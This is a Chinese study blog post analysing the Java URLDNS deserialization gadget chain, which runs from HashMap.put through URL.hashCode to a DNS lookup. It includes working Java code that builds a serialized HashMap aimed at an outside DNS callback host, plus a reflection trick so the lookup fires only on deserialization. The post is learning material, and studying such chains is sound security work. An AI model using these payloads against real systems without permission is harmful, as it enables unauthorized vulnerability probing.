URLDNS利用链分析
FLow

前言

最近开始接触java安全,最离不开的就是反序列化利用和那些出名的CC链。前两天学了Java序列化和反序列化,还有反射啊这些概念,其实基础还不是很扎实,还要学习。说回来,接触反序列化第一条链子就是URLDNS,对大佬来说还是很好理解的,但是我这两天看了很多博客和视频,实践下来发现里面也是有很多注意点,于是写了笔记记录下来,描述的过程帮助我把原理都顺下来,才算是消化下去了。

链子分析

这个链子来源是这个知名工具,看下里面标出来的构造链

我们直接看实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.example;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(o);
}
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
URL u = new URL("http://i7wo.callback.red"); // dns外带地址
HashMap<URL,Integer> hashmap = new HashMap<>(); // 一个HashMap,待会要利用里面的readObject
hashmap.put(u,123);
serialize(hashmap);
}
}

这几行三下五除二理想状态下就能在反序列化的过程中实现DNS解析,为什么呢?!

这里我们跟进一下hashmap的put方法

来到HashMap的put方法,我们会发现我们传入了key和value,里面会调用hash()方法,再跟进

里面使用了hashCode,这是一个很常见的函数,原生Object类里面就有,也有很多类会重写

然后我们看到URL里面,里面就有hashCode

URL里面的hashCode调用了handler.hashCode,我们再跟进

来到了URLStreamHandler,里面的hashCode调用了getHostAddress函数,这个函数会触发DNS解析,就达到了我们最后的目的。

一开始学的时候冥冥之中我知道最后hashmap的put会触发URL的hashCode,但是为什么会触发呢(其实这里就是我基础薄弱的体现)

后来和GPT聊了一下,和大哥聊了一下,重点在这里

看这里hash函数里面调用的hashCode是取决于key的,也就是说,如果我们传入的这个key属于的那个类里面有自己重写的hashCode,程序就会调用新写的hashCode,而不是原来的。

应用到URL的例子,我们hashmap调用put->hash,里面调用的hashCode是key也就是URL类的hashCode。一切都清晰了起来!

1
2
3
4
5
HashMap.put()
-> HashMap.hash(key)//
-> key.hashCode()=URL.hashCode()
->handler.hashCode()
->触发getHostAddress(),实现DNS解析

所以这就是链子的过程,吃透了之后就觉得不复杂了。但是我们之间执行上面的代码却发现dns解析的次数效果不符合我们的预期,这就引入到我们的下一步分析

利用反射复现出理想效果

我们在序列化操作的时候就会收到DNS解析,这不是我们理想中的效果。

从原理看,URL的hashCode有一个判断

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

会判断hashCode的值,如果不是-1会直接返回hashCode的值,而不会进入我们想要调用的handler.hashCode

在序列化的时候会触发是因为URL里面初始化定义hashCode是-1,所以一开始会调用一次,而且后面赋值更改了之后就进不去了。

所以按之前什么的代码执行,序列化的时候就出现了dns解析,后面反序列化的时候却没发生,这明显不是我们理想中的效果。

那我们现在要做的是保证整个实验过程,只有序列化和反序列化才会触发handler.hashCode,那么我们就要解决两个问题:第一是put之前hashmap的hashCode不是-1,put之后再把它变回-1。这里我们就用到反射

Java 反射机制允许在运行时动态地获取类的信息(如字段、方法、构造函数等),并操作类的对象,从而实现更加灵活和通用的代码。

反射的流程是先获取类,然后实例化对象,获取类里面的属性,做一些修改对象属性或者调用方法等操作。

看实现代码

1
2
3
4
5
6
7
8
9
10
URL u = new URL("http://diru.callback.red");
HashMap<URL,Integer> hashmap = new HashMap<>();
Class c = u.getClass(); // 获取u的类 这里是 class.java.net.URL
Field HashCodeField = c.getDeclaredField("hashCode"); // geiDeclaredField获取里面的变量hashCode
HashCodeField.setAccessible(true); // 设置访问权限为看修改
// 接下来就可以对变量的操作,修改成我们想要的值
HashCodeField.set(u,1234); // 随便一个不是-1的值
hashmap.put(u,1);// HashMap的put给键值对赋值
HashCodeField.set(u,-1); // 再修改回-1,保证反序列化的过程中可以被成功调用
serialize(hashmap); // 进入反序列化

利用反射进行一系列操作,最后保证只有在反序列化的时候才能看到DNS解析,至此,链子就分析完成了。

最后

感谢前面各位师傅写的解释教学,这里就不一一列出来了。本人还在学习,基础不是非常扎实,如果这篇文章哪里写的不好,非常欢迎找我指正交流,感谢🙏

由 Hexo 驱动 & 主题 Keep